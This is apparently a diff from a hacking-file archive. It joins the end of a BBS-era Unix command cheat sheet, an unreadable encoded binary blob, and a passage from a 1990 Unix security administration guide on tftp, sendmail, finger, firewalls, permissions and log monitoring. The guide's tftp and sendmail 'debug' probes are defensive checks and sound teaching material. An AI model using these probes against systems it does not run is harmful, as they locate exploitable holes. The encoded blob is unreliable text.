MAIL LOGINNAME(S) + + Examples: + MAIL SCUMMY MANIAX + { text of message here } + [CONTROL - D] + + MESG - permit or deny messages from write + MESG [-Y, -N] + + Example: + MESG N prevents people from using WRITE to interrupt you + + WRITE - write to another user + WRITE LOGINNAME + + HOUSEKEEPING UTILITIES ::: + -------------------------- + + CAL - provides a calendar + CAL [month] year + + Example: + CAL 05 1942 is the calendar for May 1942 + + CALENDAR - a reminder service + You create a file in your home directory called CALLENDAR. + Unix sends you reminders by mail + + Example: + Your CALENDAR file might look like: + + Break into ATT March 19 + Transfer funds to CuD March 20 + 1992 report due + + DATE - gives date and time + + LOCK - reserves your terminal + + PWD - prints working directory + + UPTIME - checks system status + + W - who is on the system and what they are doing + W + W [-H, -S] user + + Options: + -H suppresses the heading + -S short form + + Example: + W -HS TROOPER lists the user, TROOPER, idle time, and job name + + WHO - who is on the system + WHO [AM I] + + Example: + WHO tells who is on the system + + ON-LINE HELP ::: + ---------------- + + LEARN - computer-assisted lessons + Type LEARN to start these lessons + + MAN - find manual information by keywords + MAN [-K] [keyword] + + Option: + -K produces a one-line summary + + Example: + MAN CAT displays the on-line namual explanation of CAT + + TEXT PROCESSING AND FORMATTING ::: + ---------------------------------- + + ED - line-oriented text editor + ED file + + NROFF - advanced typesetting + + PR - prints partially formatted file + PR [-N, -M, -T] file . . . + + Options: + -N arranges text into n columns + -M prints all files in multiple columns + -T suppresses heading on each page + + Example: + PR FROSTY prints file FROSTY on the terminal + + VI - the screen-oriented test editor + VI file + + INFORMATION HANDLING ::: + ------------------------ + + AWK - pattern scanning and processing language + + CMP - compare two files + CMP filename1 filename2 + + Example: + CMP SWASS TROOPER finds and prints by byte and line number the + first difference between the two files + + COMM - finds lines common to two sorted files + COMM [-1, -2, -3] file1 file2 + + Options: + -1 don't print the first column + -2 don't print the second column + -3 don't print the third column + + Example: + COMM FROSTY JUNKY prints three columns. First, lines only in FROSTY, + secondly, lines only in file JUNKY, and thirdly, + lines in both files + + DICTION - will print wordy sentences + DICTION file . . . + + DIFF - finds the difference between two files or directories + DIFF [-B, -E, -R] file1 file2 or directory1 directory2 + + Options: + -B ignores trailing blanks + -E output in the form of ED commands + -R apply to directories recursively + + Example: + DIFF GIFT1 GIFT2 shows how to make GIFT1 like GIFT2 + + FIND - finds designated files and acts upon them + FIND pathname search criteria action(s) + + Search Criteria: + -NAME filename files named 'filename' + -SIZE n files of size n blocks + -LINKS n files with n links + -ATIME n files accessed n days ago + -MTIME n files modified n days ago + -NEWER filename files modified more recently than the file 'filename' + + ( Note 'n' without a sign means exactly n, '+n' means greater than n, + '-n' means less than n ) + + Actions: + -PRINT prints the pathname of the found file + -EXEC command \; executes the given command upon finding a file; + { } represents the found file + -OK command \; same as -EXEC except your approval is requested + before each execution; reply with a Y + + Example: + FIND /USR/FROSTY -MTIME -10 -PRINT finds all files in USR/FROSTY + directory that have been modified + within 10 days and prints pathnames + + GREP - search a file for a pattern + GREP [-N, -I, -C, -W] pattern file + + Options: + -N precedes each matching line with its line number + -I ignores the case of letters + -C prints only a count of matching lines + -W matches only complete words with the pattern + + Example: + GREP -IW PHRACK CODE searches the file PHRACK for the words + 'code', 'CODE', 'Code', etc. . . . + + HEAD - looks at the head of a file + HEAD [-N] file . . . + + Option: + -N print 'n' lines + + Example: + HEAD -15 2600 prints the first 15 lines of the file 2600 + + SORT - sorts and merges files + SORT [-B, -D, -F, -N, -O, -R] file . . . + + Options: + -B ignore initial blanks + -D 'dictionary' order + -F ignores upper and lowercase letters + -N sorts numbers by value + -O FILENAME outputs to file called FILENAME + -R sort in reverse order + + Example: + SORT -FR -O SORTBAG GRABBAG sorts the file GRABBAG in reverse order, + ignoring upper and lowercase letters. + results stored in SORTBAG + + SPELL - find spelling errors + SPELL file . . . + + TAIL - gives the last part of a file + TAIL [-N] file + + Option: + -N start 'n' lines from the end + + Example: + TAIL -20 EFF prints the last 20 lines of the file EFF + + UNIQ - remove duplicated + UNIQ [-U, -D, -C] inputfile [outputfile] + + Options: + -U prints only lines with no duplicates + -D prints one copy of lines with duplicates + -C prints number of times line is repeated + + Example: + UNIQ -D CHAOS EO scans the file CHAOS for lines that appear more than + once. One copy of each line placed in the file EO + + WC - word count + WC [-L, -W, -C, -P] file . . . + + Options: + -L counts lines + -W counts words + -C counts characters + -P counts pages ( 66 lines ) + + Example: + WC -W MABELL counts the number of words in the file MABELL + + RUNNING JOBS AND PROGRAMS ::: + ----------------------------- + + AT - execute commands at a later time + AT time [day] [file] + + Example: + AT 23 VIRAL runs the commands in the file VIRAL at 11:00 pm + + CC - compile C programs + CC [-C, -O] file . . . + + Options: + -C creates object file suuppressing loading + -O filename uses filename for the file A.OUT + + Example: + CC PHREAKER.C compiles PHREAKER.C file, with the executable program + placed in A.OUT file + + F77 - compile FORTRAN programs + F77 [-C, -O] file . . . + + Options: + -C creates object file suppressing loading + -O filename uses filename for file A.OUT + + Example: + F77 PAYROLL.F compiles PAYROLL.F file, with the executable + code placed in A.OUT file + + JOBS - will list stopped and background jobs + JOBS [-L] + + Option: + -L gives long listing that includes process identification number (PID) + + KILL - will terminate jobs + KILL [-9] job number or process ID + + Option: + -9 this is a sure kill + + Example: + KILL %3 or KILL 3492 kills job[3] or PID #3492 + + PC - compiles Pascal programs + PC [-C, -O] file . . . + + Options: + -C creates object code file suppressing loading + -O filename uses filename for A.OUT + + Example: + PC E911.P compiles E911.P file, with the executable code placed + in A.OUT file + + PS - the Process Status Report + PS [A] + + Option: + A displays PS information for all terminals + + TEE - split output + TEE [-I, -A] file + + Options: + -I ignores interrupts + -A sends output to the end of named file + + Example: + LS -L /USR | TEE -A CLUTTER produces the long listing of the /USR + directory on the terminal and also appends + it to the end of the file CLUTTER + + TIME - will time a command + TIME commandname + + Example: + TIME CC TROJAN.C runs the command CC TROJAN.C and prints execution time + when finished + + ------------------------------------------------------------------------------ + Produced by: Frosty ---* + GCMS - MechWarriors + " Educating the Masses " + ------------------------------------------------------------------------------ + Call these other fine BBS' + Temple of the Screaming Electron..........415-935-5845 + Sirius Cybernetics Corporation............808-521-3306 + The Hollow................................415-849-2688 + + And NUAs + Lutzifer.................................26245400080177 + LINA.....................................22222800173 +------------------------------------------------------------------------------- + diff --git a/textfiles.com/hacking/UNIX/unix.info b/textfiles.com/hacking/UNIX/unix.info new file mode 100644 index 0000000000000000000000000000000000000000..d5348c6e5b3f9227f4cef18636d7c372ca45c324 GIT binary patch literal 4174 zcmcgv+j84B5bZO*Vka+ZGm@rF@>0L~(mGD-%UEvXSBQc{L?plhU>N>=&n`&Ws_cwA z(-dP%qOe%((tGWqaXSV7*=;YZ0Hy9qLjw?eV}ecqBE>!?Q4ic=+N2Jzh=ZlN0nvQn4^`NFS^AimKt&Q#|Ee1)r(?@TCkWUDSc zPCZsNoQq?8=q*(yL2IP%?cB^&^oYukL8#njqmY-5&AcG^KoYJQNx<^H*hE+J6Wqzy zsljrBDF!}Ms8&^-67IP232GN?>&~N6e+KA$Ffc~D2gl|=sN*U^Bc~c}03#PjK2ppX1tiu0rZHNnOg#+w_WRtNV z`IFGVVf;CdN=cywXzf-q^uesxL<~IK1+b=T1AQ_oUMdn6DdnU_KkCYT+$UrKuWN zES$!7vl-$Fy8&VVDFF}Q(g6Y+5QfOew%Qe7XUG}U3$EJoRH7+b$p^@N#_a&5R01_@ z@sCq!k=np`8wJ;n>NE;RqT6cr6lBA@oOM7$vO9J24Ga&2T`7nc&+>130-T z5lfUm>X{Lr^SCoPV;YSGahBeKsB=S7nZLQw+<|S^o^NNLIof+b(>qrx8#ydTl!v1H z%7u=#M+W=_UELhd?(gsU|2~Uy0N)~*|0Przy zE--2!kaEr6tvEJ;?}w48Rl70kU#H%gTUmAqO3fc zJ)3{1mB|ikWW#MX^hr@P5*Ga(bhD6N2Q|x*&R7(QPjsK++l?}^wJ}T zLrGu?AnDG!_^Y)66tOEnCIu8FJ#MYwH&ipGx}pSHcy|yVroyowgOSIPaBu43q3RlJ zCG0-%3AoyD@rvqa$GiLkXPjMZ%$5l0$iRRf88oR)+>o0Hb=ZXI0DQkSreRVIJx{YT zXpBsXA5Kb!4yG>d$tw?*zVO*&T83y$@ z+rf4x>LM connect yourhost + tftp> get /etc/motd tmp + Error code 1: File not found + tftp> quit + % + + If your version does not respond with ``File not found,'' and instead transfers the file, you + should replace your version of tftpd* with a newer one. In particular, versions of SunOS + prior to release 4.0 are known to have this problem. + + +2.2.5 Mail + + + + Electronic mail is one of the main reasons for connecting to outside networks. On + most versions of Berkeley-derived UNIX systems, including those from Sun, the sendmail + program [Sun88a, 1758-1760; Sun88b, 441-488] is used to enable the receipt and delivery + of mail. As with the FTP software, older versions of sendmail have several bugs that + allow security violations. One of these bugs was used with great success by the Internet + worm [Seel88, Spaf88]. The current version of sendmail from Berkeley is version 5.61, + of January 1989. Sun is, as of this writing, still shipping version 5.59, which has a known + security problem. They have, however, made a fixed version available. Section 4 details + how to obtain these newer versions. + + Generally, with the exception of the security holes mentioned above, sendmail is rea- + sonably secure when installed by most vendors' installation procedures. There are, how- + ever, a few precautions that should be taken to ensure secure operation: + + 1. Remove the ``decode'' alias from the aliases file (/etc/aliases or /usr/lib/aliases). + + 2. If you create aliases that allow messages to be sent to programs, be absolutely + sure that there is no way to obtain a shell or send commands to a shell from + these programs. + + 3. Make sure the ``wizard'' password is disabled in the configuration file, + sendmail.cf. (Unless you modify the distributed configuration files, this + shouldn't be a problem.) + + 4. Make sure your sendmail does not support the ``debug'' command. This can be + done with the following commands: + +\(ru \(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru + + * On Sun systems, tftpd is stored in the file /usr/etc/in.tftpd. On most other systems, it is called /etc/tftpd. + + + 18 + + + + + + % telnet localhost 25 + 220 yourhost Sendmail 5.61 ready at 9 Mar 90 10:57:36 PST + debug + 500 Command unrecognized + quit + % + + + If your sendmail responds to the ``debug'' command with ``200 Debug set,'' + then you are vulnerable to attack and should replace your sendmail with a + newer version. + + By following the procedures above, you can be sure that your mail system is secure. + + +2.2.6 Finger + + + + The ``finger'' service, provided by the finger program [Sun88a, 186-187], allows you + to obtain information about a user such as her full name, home directory, last login time, + and in some cases when she last received mail and/or read her mail. The fingerd program + [Sun88a, 1625] allows users on remote hosts to obtain this information. + + A bug in fingerd was also exercised with success by the Internet worm [Seel88, + Spaf88]. If your version of fingerd* is older than November 5, 1988, it should be + replaced with a newer version. New versions are available from several of the sources + described in Section 4. + + +2.2.7 Modems and Terminal Servers + + + + Modems and terminal servers (terminal switches, Annex boxes, etc.) present still + another potential security problem. The main problem with these devices is one of + configuration - misconfigured hardware can allow security breaches. Explaining how to + configure every brand of modem and terminal server would require volumes. However, + the following items should be checked for on any modems or terminal servers installed at + your site: + + 1. If a user dialed up to a modem hangs up the phone, the system should log him + out. If it doesn't, check the hardware connections and the kernel configuration + of the serial ports. + + 2. If a user logs off, the system should force the modem to hang up. Again, check + the hardware connections if this doesn't work. + + 3. If the connection from a terminal server to the system is broken, the system + should log the user off. +\(ru \(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru + + * On Sun systems, fingerd is stored in /usr/etc/in.fingerd. On most other systems, it is called /etc/fingerd. + + + 19 + + + + + 4. If the terminal server is connected to modems, and the user hangs up, the termi- + nal server should inform the system that the user has hung up. + + Most modem and terminal server manuals cover in detail how to properly connect + these devices to your system. In particular you should pay close attention to the ``Carrier + Detect,'' ``Clear to Send,'' and ``Request to Send'' connections. + + +2.2.8 Firewalls + + + + One of the newer ideas in network security is that of a firewall. Basically, a firewall + is a special host that sits between your outside-world network connection(s) and your + internal network(s). This host does not send out routing information about your internal + network, and thus the internal network is ``invisible'' from the outside. In order to + configure a firewall machine, the following considerations need to be taken: + + 1. The firewall does not advertise routes. This means that users on the internal + network must log in to the firewall in order to access hosts on remote networks. + Likewise, in order to log in to a host on the internal network from the outside, a + user must first log in to the firewall machine. This is inconvenient, but more + secure. + + 2. All electronic mail sent by your users must be forwarded to the firewall machine + if it is to be delivered outside your internal network. The firewall must receive + all incoming electronic mail, and then redistribute it. This can be done either + with aliases for each user or by using name server MX records. + + 3. The firewall machine should not mount any file systems via NFS, or make any + of its file systems available to be mounted. + + 4. Password security on the firewall must be rigidly enforced. + + 5. The firewall host should not trust any other hosts regardless of where they are. + Furthermore, the firewall should not be trusted by any other host. + + 6. Anonymous FTP and other similar services should only be provided by the + firewall host, if they are provided at all. + + The purpose of the firewall is to prevent crackers from accessing other hosts on your + network. This means, in general, that you must maintain strict and rigidly enforced secu- + rity on the firewall, but the other hosts are less vulnerable, and hence security may be + somewhat lax. But it is important to remember that the firewall is not a complete cure + against crackers - if a cracker can break into the firewall machine, he can then try to + break into any other host on your network. + + +2.3 FILE SYSTEM SECURITY + + + + The last defense against system crackers are the permissions offered by the file sys- + tem. Each file or directory has three sets of permission bits associated with it: one set for + + 20 + + + + + the user who owns the file, one set for the users in the group with which the file is associ- + ated, and one set for all other users (the ``world'' permissions). Each set contains three + identical permission bits, which control the following: + + read If set, the file or directory may be read. In the case of a directory, read + access allows a user to see the contents of a directory (the names of the + files contained therein), but not to access them. + + write If set, the file or directory may be written (modified). In the case of a + directory, write permission implies the ability to create, delete, and rename + files. Note that the ability to remove a file is not controlled by the per- + missions on the file, but rather the permissions on the directory containing + the file. + + execute If set, the file or directory may be executed (searched). In the case of a + directory, execute permission implies the ability to access files contained + in that directory. + + In addition, a fourth permission bit is available in each set of permissions. This bit + has a different meaning in each set of permission bits: + + setuid If set in the owner permissions, this bit controls the ``set user id'' (setuid) + status of a file. Setuid status means that when a program is executed, it + executes with the permissions of the user owning the program, in addition + to the permissions of the user executing the program. For example, send- + mail is setuid ``root,'' allowing it to write files in the mail queue area, + which normal users are not allowed to do. This bit is meaningless on + nonexecutable files. + + setgid If set in the group permissions, this bit controls the ``set group id'' (setgid) + status of a file. This behaves in exactly the same way as the setuid bit, + except that the group id is affected instead. This bit is meaningless on + non-executable files (but see below). + + sticky If set in the world permissions, the ``sticky'' bit tells the operating system + to do special things with the text image of an executable file. It is mostly a + holdover from older versions of UNIX, and has little if any use today. This + bit is also meaningless on nonexecutable files (but see below). + + +2.3.1 Setuid Shell Scripts + + + + Shell scripts that have the setuid or setgid bits set on them are not secure, regardless of +how many safeguards are taken when writing them. There are numerous software packages +available that claim to make shell scripts secure, but every one released so far has not +managed to solve all the problems. + + Setuid and setgid shell scripts should never be allowed on any UNIX system. + + + + 21 + + + + +2.3.2 The Sticky Bit on Directories + + + + Newer versions of UNIX have attached a new meaning to the sticky bit. When this bit is +set on a directory, it means that users may not delete or rename other users' files in this direc- +tory. This is typically useful for the /tmp directory. Normally, /tmp is world-writable, ena- +bling any user to delete another user's files. By setting the sticky bit on /tmp, users may only +delete their own files from this directory. + + To set the sticky bit on a directory, use the command + + # chmod o+t directory + + + +2.3.3 The Setgid Bit on Directories + + + + In SunOS 4.0, the setgid bit was also given a new meaning. Two rules can be used for +assigning group ownership to a file in SunOS: + + 1. The System V mechanism, which says that a user's primary group id (the one listed + in the password file) is assigned to any file he creates. + + 2. The Berkeley mechanism, which says that the group id of a file is set to the group + id of the directory in which it is created. + + If the setgid bit is set on a directory, the Berkeley mechanism is enabled. Otherwise, the +System V mechanism is enabled. Normally, the Berkeley mechanism is used; this mechanism +must be used if creating directories for use by more than one member of a group (see Section +2.1.5). + + To set the setgid bit on a directory, use the command + + # chmod g+s directory + + + +2.3.4 The umask Value + + + + When a file is created by a program, say a text editor or a compiler, it is typically +created with all permissions enabled. Since this is rarely desirable (you don't want other +users to be able to write your files), the umask value is used to modify the set of permissions +a file is created with. Simply put, while the chmod command [Sun88a, 65-66] specifies what +bits should be turned on, the umask value specifies what bits should be turned off. + + For example, the default umask on most systems is 022. This means that write permis- +sion for the group and world should be turned off whenever a file is created. If instead you +wanted to turn off all group and world permission bits, such that any file you created would +not be readable, writable, or executable by anyone except yourself, you would set your umask +to 077. + + The umask value is specified in the .cshrc or .profile files read by the shell using the +umask command [Sun88a, 108, 459]. The ``root'' account should have the line + + 22 + + + + + + umask 022 + +in its /.cshrc file, in order to prevent the accidental creation of world-writable files owned by +the super-user. + + +2.3.5 Encrypting Files + + + + The standard UNIX crypt command [Sun88a, 95] is not at all secure. Although it is rea- +sonable to expect that crypt will keep the casual ``browser'' from reading a file, it will +present nothing more than a minor inconvenience to a determined cracker. Crypt implements +a one-rotor machine along the lines of the German Enigma (broken in World War II). The +methods of attack on such a machine are well known, and a sufficiently large file can usually +be decrypted in a few hours even without knowledge of what the file contains [Reed84]. In +fact, publicly available packages of programs designed to ``break'' files encrypted with crypt +have been around for several years. + + There are software implementations of another algorithm, the Data Encryption Standard +(DES), available on some systems. Although this algorithm is much more secure than crypt, +it has never been proven that it is totally secure, and many doubts about its security have been +raised in recent years. + + Perhaps the best thing to say about encrypting files on a computer system is this: if you +think you have a file whose contents are important enough to encrypt, then that file should not +be stored on the computer in the first place. This is especially true of systems with limited +security, such as UNIX systems and personal computers. + + It is important to note that UNIX passwords are not encrypted with the crypt program. +Instead, they are encrypted with a modified version of the DES that generates one-way encryp- +tions (that is, the password cannot be decrypted). When you log in, the system does not +decrypt your password. Instead, it encrypts your attempted password, and if this comes out to +the same result as encrypting your real password, you are allowed to log in. + + +2.3.6 Devices + + + + The security of devices is an important issue in UNIX. Device files (usually residing in +/dev) are used by various programs to access the data on the disk drives or in memory. If +these device files are not properly protected, your system is wide open to a cracker. The +entire list of devices is too long to go into here, since it varies widely from system to system. +However, the following guidelines apply to all systems: + + 1. The files /dev/kmem, /dev/mem, and /dev/drum should never be readable by the + world. If your system supports the notion of the ``kmem'' group (most newer sys- + tems do) and utilities such as ps are setgid ``kmem,'' then these files should be + owned by user ``root'' and group ``kmem,'' and should be mode 640. If your sys- + tem does not support the notion of the ``kmem'' group, and utilities such as ps are + setuid ``root,'' then these files should be owned by user ``root'' and mode 600. + + 23 + + + + + 2. The disk devices, such as /dev/sd0a, /dev/rxy1b, etc., should be owned by user + ``root'' and group ``operator,'' and should be mode 640. Note that each disk has + eight partitions and two device files for each partition. Thus, the disk ``sd0'' would + have the following device files associated with it in /dev: + + sd0a sd0e rsd0a rsd0e + sd0b sd0f rsd0b rsd0f + sd0c sd0g rsd0c rsd0g + sd0d sd0h rsd0d rsd0h + + + 3. With very few exceptions, all other devices should be owned by user ``root.'' One + exception is terminals, which are changed to be owned by the user currently logged + in on them. When the user logs out, the ownership of the terminal is automatically + changed back to ``root.'' + + +2.4 SECURITY IS YOUR RESPONSIBILITY + + + + This section has detailed numerous tools for improving security provided by the UNIX +operating system. The most important thing to note about these tools is that although they are +available, they are typically not put to use in most installations. Therefore, it is incumbent on +you, the system administrator, to take the time and make the effort to enable these tools, and +thus to protect your system from unauthorized access. + + + 24 + + + + + SECTION 3 + MONITORING SECURITY + + + + One of the most important tasks in keeping any computer system secure is monitoring +the security of the system. This involves examining system log files for unauthorized +accesses of the system, as well as monitoring the system itself for security holes. This section +describes the procedures for doing this. An additional part of monitoring security involves +keeping abreast of security problems found by others; this is described in Section 5. + + +3.1 ACCOUNT SECURITY + + + + Account security should be monitored periodically in order to check for two things: users +logged in when they ``shouldn't'' be (e.g., late at night, when they're on vacation, etc.), and +users executing commands they wouldn't normally be expected to use. The commands +described in this section can be used to obtain this information from the system. + + +3.1.1 The lastlog File + + + + The file /usr/adm/lastlog [Sun88a, 1485] records the most recent login time for each user +of the system. The message printed each time you log in, e.g., + + Last login: Sat Mar 10 10:50:48 from spam.itstd.sri.c + +uses the time stored in the lastlog file. Additionally, the last login time reported by the +finger command uses this time. Users should be told to carefully examine this time whenever +they log in, and to report unusual login times to the system administrator. This is an easy +way to detect account break-ins, since each user should remember the last time she logged +into the system. + + +3.1.2 The utmp and wtmp Files + + + + The file /etc/utmp [Sun88a, 1485] is used to record who is currently logged into the sys- +tem. This file can be displayed using the who command [Sun88a, 597]: + + % who + hendra tty0c Mar 13 12:31 + heidari tty14 Mar 13 13:54 + welgem tty36 Mar 13 12:15 + reagin ttyp0 Mar 13 08:54 (aaifs.itstd.sri.) + ghg ttyp1 Mar 9 07:03 (hydra.riacs.edu) + compion ttyp2 Mar 1 03:01 (ei.ecn.purdue.ed) + +For each user, the login name, terminal being used, login time, and remote host (if the user is + + 25 + + + + +logged in via the network) are displayed. + + The file /usr/adm/wtmp [Sun88a, 1485] records each login and logout time for every +user. This file can also be displayed using the who command: + + % who /usr/adm/wtmp + davy ttyp4 Jan 7 12:42 (annex01.riacs.ed) + ttyp4 Jan 7 15:33 + davy ttyp4 Jan 7 15:33 (annex01.riacs.ed) + ttyp4 Jan 7 15:35 + hyder ttyp3 Jan 8 09:07 (triceratops.itst) + ttyp3 Jan 8 11:43 + +A line that contains a login name indicates the time the user logged in; a line with no login +name indicates the time that the terminal was logged off. Unfortunately, the output from this +command is rarely as simple as in the example above; if several users log in at once, the +login and logout times are all mixed together and must be matched up by hand using the ter- +minal name. + + The wtmp file may also be examined using the last command [Sun88a, 248]. This com- +mand sorts out the entries in the file, matching up login and logout times. With no argu- +ments, last displays all information in the file. By giving the name of a user or terminal, the +output can be restricted to the information about the user or terminal in question. Sample out- +put from the last command is shown below. + + % last + davy ttyp3 intrepid.itstd.s Tue Mar 13 10:55 - 10:56 (00:00) + hyder ttyp3 clyde.itstd.sri. Mon Mar 12 15:31 - 15:36 (00:04) + reboot ~ Mon Mar 12 15:16 + shutdown ~ Mon Mar 12 15:16 + arms ttyp3 clyde0.itstd.sri Mon Mar 12 15:08 - 15:12 (00:04) + hyder ttyp3 spam.itstd.sri.c Sun Mar 11 21:08 - 21:13 (00:04) + reboot ~ Sat Mar 10 20:05 + davy ftp hydra.riacs.edu Sat Mar 10 13:23 - 13:30 (00:07) + +For each login session, the user name, terminal used, remote host (if the user logged in via +the network), login and logout times, and session duration are shown. Additionally, the times +of all system shutdowns and reboots (generated by the shutdown and reboot commands +[Sun88a, 1727, 1765]) are recorded. Unfortunately, system crashes are not recorded. In +newer versions of the operating system, pseudo logins such as those via the ftp command are +also recorded; an example of this is shown in the last line of the sample output, above. + + +3.1.3 The acct File + + + + The file /usr/adm/acct [Sun88a, 1344-1345] records each execution of a command on the +system, who executed it, when, and how long it took. This information is logged each time a +command completes, but only if your kernel was compiled with the SYSACCT option enabled +(the option is enabled in some GENERIC kernels, but is usually disabled by default). + + 26 + + + + + The acct file can be displayed using the lastcomm command [Sun88a, 249]. With no +arguments, all the information in the file is displayed. However, by giving a command name, +user name, or terminal name as an argument, the output can be restricted to information about +the given command, user, or terminal. Sample output from lastcomm is shown below. + + % lastcomm + sh S root __ 0.67 secs Tue Mar 13 12:45 + atrun root __ 0.23 secs Tue Mar 13 12:45 + lpd F root __ 1.06 secs Tue Mar 13 12:44 + lpr S burwell tty09 1.23 secs Tue Mar 13 12:44 + troff burwell tty09 12.83 secs Tue Mar 13 12:44 + eqn burwell tty09 1.44 secs Tue Mar 13 12:44 + df kindred ttyq7 0.78 secs Tue Mar 13 12:44 + ls kindred ttyq7 0.28 secs Tue Mar 13 12:44 + cat kindred ttyq7 0.05 secs Tue Mar 13 12:44 + stty kindred ttyq7 0.05 secs Tue Mar 13 12:44 + tbl burwell tty09 1.08 secs Tue Mar 13 12:44 + rlogin S jones ttyp3 5.66 secs Tue Mar 13 12:38 + rlogin F jones ttyp3 2.53 secs Tue Mar 13 12:41 + stty kindred ttyq7 0.05 secs Tue Mar 13 12:44 + +The first column indicates the name of the command. The next column displays certain flags +on the command: an ``F'' means the process spawned a child process, ``S'' means the process +ran with the set-user-id bit set, ``D'' means the process exited with a core dump, and ``X'' +means the process was killed abnormally. The remaining columns show the name of the user +who ran the program, the terminal he ran it from (if applicable), the amount of CPU time used +by the command (in seconds), and the date and time the process started. + + +3.2 NETWORK SECURITY + + + + Monitoring network security is more difficult, because there are so many ways for a +cracker to attempt to break in. However, there are some programs available to aid you in this +task. These are described in this section. + + +3.2.1 The syslog Facility + + + + The syslog facility [Sun88a, 1773] is a mechanism that enables any command to log +error messages and informational messages to the system console, as well as to a log file. +Typically, error messages are logged in the file /usr/adm/messages along with the date, time, +name of the program sending the message, and (usually) the process id of the program. A +sample segment of the messages file is shown below. + + + 27 + + + + + + Mar 12 14:53:37 sparkyfs login: ROOT LOGIN ttyp3 FROM setekfs.itstd.sr + Mar 12 15:18:08 sparkyfs login: ROOT LOGIN ttyp3 FROM setekfs.itstd.sr + Mar 12 16:50:25 sparkyfs login: ROOT LOGIN ttyp4 FROM pongfs.itstd.sri + Mar 12 16:52:20 sparkyfs vmunix: sd2c: read failed, no retries + Mar 13 06:01:18 sparkyfs vmunix: /: file system full + Mar 13 08:02:03 sparkyfs login: ROOT LOGIN ttyp4 FROM triceratops.itst + Mar 13 08:28:52 sparkyfs su: davy on /dev/ttyp3 + Mar 13 08:38:03 sparkyfs login: ROOT LOGIN ttyp4 FROM triceratops.itst + Mar 13 10:56:54 sparkyfs automount[154]: host aaifs not responding + Mar 13 11:30:42 sparkyfs login: REPEATED LOGIN FAILURES ON ttyp3 FROM + intrepid.itstd.s, daemon + +Of particular interest in this sample are the messages from the login and su programs. +Whenever someone logs in as ``root,'' login logs this information. Generally, logging in as +``root'' directly, rather than using the su command, should be discouraged, as it is hard to +track which person is actually using the account. Once this ability has been disabled, as +described in Section 2.2.2, detecting a security violation becomes a simple matter of searching +the messages file for lines of this type. + + Login also logs any case of someone repeatedly trying to log in to an account and fail- +ing. After three attempts, login will refuse to let the person try anymore. Searching for these +messages in the messages file can alert you to a cracker attempting to guess someone's pass- +word. + + Finally, when someone uses the su command, either to become ``root'' or someone +else, su logs the success or failure of this operation. These messages can be used to check +for users sharing their passwords, as well as for a cracker who has penetrated one account and +is trying to penetrate others. + + +3.2.2 The showmount Command + + + + The showmount command [Sun88a, 1764] can be used on an NFS file server to display +the names of all hosts that currently have something mounted from the server. With no +options, the program simply displays a list of all the hosts. With the -a and -d options, the +output is somewhat more useful. The first option, -a, causes showmount to list all the host +and directory combinations. For example, + + bronto.itstd.sri.com:/usr/share + bronto.itstd.sri.com:/usr/local.new + bronto.itstd.sri.com:/usr/share/lib + bronto.itstd.sri.com:/var/spool/mail + cascades.itstd.sri.com:/sparky/a + clyde.itstd.sri.com:/laser_dumps + cm1.itstd.sri.com:/sparky/a + coco0.itstd.sri.com:/sparky/a + +There will be one line of output for each directory mounted by a host. With the -d option, +showmount displays a list of all directories that are presently mounted by some host. + + 28 + + + + + The output from showmount should be checked for two things. First, only machines +local to your organization should appear there. If you have set up proper netgroups as +described in Section 2.2.3, this should not be a problem. Second, only ``normal'' directories +should be mounted. If you find unusual directories being mounted, you should find out who +is mounting them and why - although it is probably innocent, it may indicate someone trying +to get around your security mechanisms. + + +3.3 FILE SYSTEM SECURITY + + + + Checking for security holes in the file system is another important part of making your +system secure. Primarily, you need to check for files that can be modified by unauthorized +users, files that can inadvertently grant users too many permissions, and files that can inadver- +tently grant access to crackers. It is also important to be able to detect unauthorized +modifications to the file system, and to recover from these modifications when they are made. + + +3.3.1 The find Command + + + + The find command [Sun88a, 183-185] is a general-purpose command for searching the +file system. Using various arguments, complex matching patterns based on a file's name, +type, mode, owner, modification time, and other characteristics, can be constructed. The +names of files that are found using these patterns can then be printed out, or given as argu- +ments to other UNIX commands. The general format of a find command is + + % find directories options + +where directories is a list of directory names to search (e.g., /usr), and options contains the +options to control what is being searched for. In general, for the examples in this section, you +will always want to search from the root of the file system (/), in order to find all files match- +ing the patterns presented. + + This section describes how to use find to search for four possible security problems that +were described in Section 2. + + +3.3.1.1 Finding Setuid and Setgid Files + + + + It is important to check the system often for unauthorized setuid and setgid programs. +Because these programs grant special privileges to the user who is executing them, it is neces- +sary to ensure that insecure programs are not installed. Setuid ``root'' programs should be +closely guarded - a favorite trick of many crackers is to break into ``root'' once, and leave a +setuid program hidden somewhere that will enable them to regain super-user powers even if +the original hole is plugged. + + The command to search for setuid and setgid files is + + + 29 + + + + + + # find / -type f -a \( -perm -4000 -o -perm -2000 \) -print + +The options to this command have the following meanings: + + / The name of the directory to be searched. In this case, we want to search the entire + file system, so we specify /. You might instead restrict the search to /usr or + /home. + + -type f + Only examine files whose type is ``f,'' regular file. Other options include ``d'' for + directory, ``l'' for symbolic link, ``c'' for character-special devices, and ``b'' for + block-special devices. + + -a This specifies ``and.'' Thus, we want to know about files whose type is ``regular + file,'' and whose permissions bits match the other part of this expression. + + \( -perm -4000 -o -perm -2000 \) + The parentheses in this part of the command are used for grouping. Thus, every- + thing in this part of the command matches a single pattern, and is treated as the + other half of the ``and'' clause described above. + + -perm -4000 + This specifies a match if the ``4000'' bit (specified as an octal number) is set + in the file's permission modes. This is the set-user-id bit. + + -o This specifies ``or.'' Thus, we want to match if the file has the set-user-id bit + or the set-group-id bit set. + + -perm -2000 + This specifies a match if the ``2000'' bit (specified as an octal number) is set + in the file's permission modes. This is the set-group-id bit. + + -printThis indicates that for any file that matches the specified expression (is a regular + file and has the setuid or setgid bits set in its permissions), print its name on the + screen. + + After executing this command (depending on how much disk space you have, it can take +anywhere from 15 minutes to a couple of hours to complete), you will have a list of files that +have setuid or setgid bits set on them. You should then examine each of these programs, and +determine whether they should actually have these permissions. You should be especially +suspicious of programs that are not in one of the directories (or a subdirectory) shown below. + + /bin + /etc + /usr/bin + /usr/ucb + /usr/etc + + + One file distributed with SunOS, /usr/etc/restore, is distributed with the setuid bit set on +it, and should not be, because of a security hole. You should be sure to remove the setuid bit +from this program by executing the command + + + 30 + + + + + + # chmod u-s /usr/etc/restore + + + +3.3.1.2 Finding World-Writable Files + + + + World-writable files, particularly system files, can be a security hole if a cracker gains +access to your system and modifies them. Additionally, world-writable directories are +dangerous, since they allow a cracker to add 